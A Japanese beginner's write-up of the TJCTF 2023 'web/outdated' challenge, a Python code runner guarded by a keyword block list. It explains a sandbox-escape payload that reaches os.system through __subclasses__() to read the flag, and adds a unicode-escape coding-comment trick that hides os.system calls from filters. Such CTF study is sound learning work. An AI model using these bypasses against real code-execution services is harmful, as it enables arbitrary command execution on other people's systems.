writeupから学ぶ「Jinja Injection | Pyjail」

はじめに

TJCTF 2023「web/outdated」の問題を解きながらPyjailについて理解を深めていくものです。 ※CTF初心者が書いているものなので間違いがある可能性があります。間違いがある場合はご指摘ください

問題の概要


Pythonファイルをアップロードして、その実行結果を出力してくれるコードランナー

ソースコード

重要な部分だけを張り付ける

blocked = ["__import__", "globals", "locals", "__builtins__", "dir", "eval", "exec","breakpoint", "callable", "classmethod", "compile", "staticmethod", "sys","__importlib__", "delattr", "getattr", "setattr", "hasattr", "sys", "open"]

解説

pythonソースコードの中にblockedが含まれているかチェックするもの、blockedのすり抜けるために「Pyjail」を使用する.
今回使用したペイロード
''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat f*')
を使用してFLAGをゲットできた。

なぜこのペイロードが通ったのか?

''.__class__ は''のクラスオブジェクトにアクセスすることができる 出力: <class 'str'>

''.__class__.__mro__[1].__subclasses__() でsubclassesにアクセスすることができる
出力:
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, 続く
が出力される

その中に<class 'os._wrap_close'> を見つける。今回は[132]番目

''.__class__.__mro__[1].__subclasses__()[132] 出力:<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__で定義されている関数一覧を見ることができる。その中にsystem関数があり、

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']でsystem関数を使用することができる。あとは引数を好きなようにすることで任意実行が可能となっている。
このようにしてペイロードが作成されていた。

付録

今回のCTFでは使えなかったが今後どこかで使えそうなPythonの書き方 unicodeを使う

# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("ls -laF")
#\u000aos.system("cat *flag*")


rot13を使う(python2)
#config rot13とかもあるらしい